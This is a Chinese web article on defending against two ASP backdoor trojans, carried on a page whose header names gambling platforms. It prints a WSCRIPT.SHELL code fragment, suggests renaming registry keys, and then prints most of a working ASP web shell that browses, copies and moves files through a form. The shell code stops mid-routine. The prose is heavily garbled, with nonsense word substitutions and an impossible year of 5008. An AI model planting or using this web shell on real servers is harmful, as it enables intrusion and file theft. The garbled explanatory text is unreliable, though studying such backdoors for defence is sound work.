两款比较典型的ASP木马防范方法(2)

  • 时间:
  • 浏览:0
  • 来源:5分PK10官网-5分彩平台_5分快3网投平台





作者:

CNETNews.com.cn

5008-01-23 20:03:44

关键词: 木马清除 木马 盗号木马 木马病毒 木马专杀 木马病毒专杀 杀木马 木马查杀

  对于防范法律方式让亲戚亲戚朋友看一下它的代码就知道了:

  

  Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一另三个白 多名为oScript的WSCRIPT.SHELL对象,用于命令的执行"

  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  

  上边三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject一另三个白 多对象,亲戚亲戚朋友只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可不还可否 了。如下图:值得注意的是:亲戚亲戚朋友应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项就有改名或删除。导致 如亲戚亲戚朋友只修改“WSCRIPT.SHELL”项一段话。没人黑客们只要把代码修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这俩后门木马就又可不还可否 执行了。

  

  亲戚亲戚朋友导致 导致 想到了,亲戚亲戚朋友在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,导致 类似于于:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又可不还可否 执行了。还有就修改了注册表然后要重起WEB服务,设置才会有效。

  

  接下来让亲戚亲戚朋友再来看下一款ASP后门木马程序的代码:

  

  <%response.write "<font size=6 color=red>一次没人执行一另三个白 多xx作</font>" %>

  <%response.write now()%><BR>程序所在的物理路径:

  <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>

  <html>

  <title>asps shell.application backdoor </title>

  <body>

  <form action="<%= Request.ServerVariables("URL") %>" method="POST">

  <input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>

  <input type=text name=text1 value="<%=szCMD1 %>">

  copy

  <input type=text name=text2 value="<%=szCMD2 %>"><br>

  <input type=text name=text3 value="<%=szCMD3 %>">

  move

  <input type=text name=text4 value="<%=szCMD4 %>"><br>

  路径:<input type=text name=text5 value="<%=szCMD5 %>">

  程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>

  <input type=submit name=sb value=发送命令>

  </form>

  </body>

  </html>

  <%

  szCMD = Request.Form("text") 目录浏览

  if (szCMD <> "") then

  set shell=server.createobject("shell.application") 建立shell对象

  set fod1=shell.namespace(szcmd)

  set foditems=fod1.items

  for each co in foditems

  response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"

  next

  end if

  %> <%

    szCMD1 = Request.Form("text1") 目录拷贝,没人进行文件拷贝

  szCMD2 = Request.Form("text2")

  if szcmd1<>"" and szcmd2<>"" then

  set shell1=server.createobject("shell.application") 建立shell对象

  set fod1=shell1.namespace(szcmd2)

  for i=len(szcmd1) to 1 step -1

  if mid(szcmd1,i,1)="" then

  path=left(szcmd1,i-1)

  exit for

  end if

  next

  if len(path)=2 then path=path & ""

  path2=right(szcmd1,len(szcmd1)-i)

  set fod2=shell1.namespace(path)

  set foditem=fod2.parsename(path2)

  fod1.copyhere foditem

  response.write "command completed success!"

  end if

  %> <%

  szCMD3 = Request.Form("text3") 目录移动

  szCMD4 = Request.Form("text4")

  if szcmd3<>"" and szcmd4<>"" then

  set shell2=server.createobject("shell.application") 建立shell对象

  set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1

  if mid(szcmd3,i,1)="" then

  path=left(szcmd3,i-1)

  exit for

  end if